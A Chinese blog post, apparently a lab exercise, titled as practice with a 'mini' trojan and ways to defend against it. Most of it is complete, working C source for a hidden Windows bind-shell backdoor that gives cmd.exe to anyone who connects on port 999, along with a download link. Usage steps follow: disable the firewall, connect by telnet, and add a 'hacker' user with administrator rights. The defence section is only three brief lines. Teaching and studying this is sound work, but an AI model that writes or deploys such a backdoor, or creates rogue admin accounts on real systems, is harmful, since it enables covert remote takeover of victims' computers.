mini木马实践和防护方法

一、实验目的:

        1.了解木马的实现原理

        2.了解基本的防护方法

二、预备知识:

         木马通常有两个可执行程序:一个是客户端,即控制端;另一个是服务端,即被控制端。植入被种者电脑的是“服务器”部分,而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。运行了木马程序的“服务器”以后,被种者的电脑就会有一个或几个端口被打开,使黑客可以利用这些打开的端口进入电脑系统,安全和个人隐私也就全无保障了!木马的设计者为了防止木马被发现,而采用多种手段隐藏木马。木马的服务一旦运行并被控制端连接,其控制端将享有服务端的大部分操作权限,例如给计算机增加口令,浏览、移动、复制、删除文件,修改注册表,更改计算机配置等。

三、实验过程:

1.首先从这个地方http://tools.hetianlab.com/tools/mini.rar

获取到对应的木马代码,

  #pragma comment(lib, "ws2_32.lib")

    #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

    #include <winsock2.h>

    #include <windows.h>

    #define MasterPort 999  //定义监听端口999

    main()   //主函数入口

    {          

      WSADATA WSADa;

    sockaddr_in SockAddrIn;

      SOCKET CSocket,SSocket;

    int iAddrSize;

      PROCESS_INFORMATION ProcessInfo;

      STARTUPINFO StartupInfo;

    char szCMDPath[255];

 

    //分配内存资源,初始化数据:

    ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));

    ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));

    ZeroMemory(&WSADa, sizeof(WSADATA));

 

    //获取cmd路径

    GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));

 

    //加载ws2_32.dll:

    WSAStartup(0x0202,&WSADa);

 

    //设置本地信息和绑定协议,建立socket,代码如下:

    SockAddrIn.sin_family = AF_INET;

    SockAddrIn.sin_addr.s_addr = INADDR_ANY;

    SockAddrIn.sin_port = htons(MasterPort);

    CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

 

    //设置绑定端口999:

    bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));

 

    //设置服务器端监听端口:

    listen(CSocket,1);

    iAddrSize = sizeof(SockAddrIn);

 

    //开始连接远程服务器,并配置隐藏窗口结构体:

    SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);

    StartupInfo.cb = sizeof(STARTUPINFO);

    StartupInfo.wShowWindow = SW_HIDE;

    StartupInfo.dwFlags = STARTF_USESTDHANDLES |

    STARTF_USESHOWWINDOW;

    StartupInfo.hStdInput = (HANDLE)SSocket;

    StartupInfo.hStdOutput = (HANDLE)SSocket;

    StartupInfo.hStdError = (HANDLE)SSocket;

 

    //创建匿名管道:

    CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);

    WaitForSingleObject(ProcessInfo.hProcess, INFINITE);

    CloseHandle(ProcessInfo.hProcess);

    CloseHandle(ProcessInfo.hThread);

 

    //关闭进程句柄:

    closesocket(CSocket);

    closesocket(SSocket);

    WSACleanup();

    //关闭连接卸载ws2_32.dll

    return 0;

    }

然后创建cpp文件并且编译链接之后,生成对应的exe文件,

2.关闭防火墙,运行这个程序,

3.在cmd命令行窗口中,使用ipconcif命令获取本机的ip地址为10.1.1.8,然后netstat -an检查当前的999端口处于监听状态

4.之后,就可以在另一台机器上面利用telnet  10.1.1.8 999 命令就可以实现命令行的控制了,包括使用net user命令检查用户,用net user hacker 123456  /add命令添加新的用户 , 以及将这个用户添加到最高权限组等

效果如下:

 

第二部分:木马的防护

1.在控制面版中打开防火墙启动

2.再次打开mini.exe的时候就会出现提示窗口,如果这时候不阻止,就会在防火墙的例外窗口看到mini.exe的程序运行

3.可以直接用任务管理器结束这个进程

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值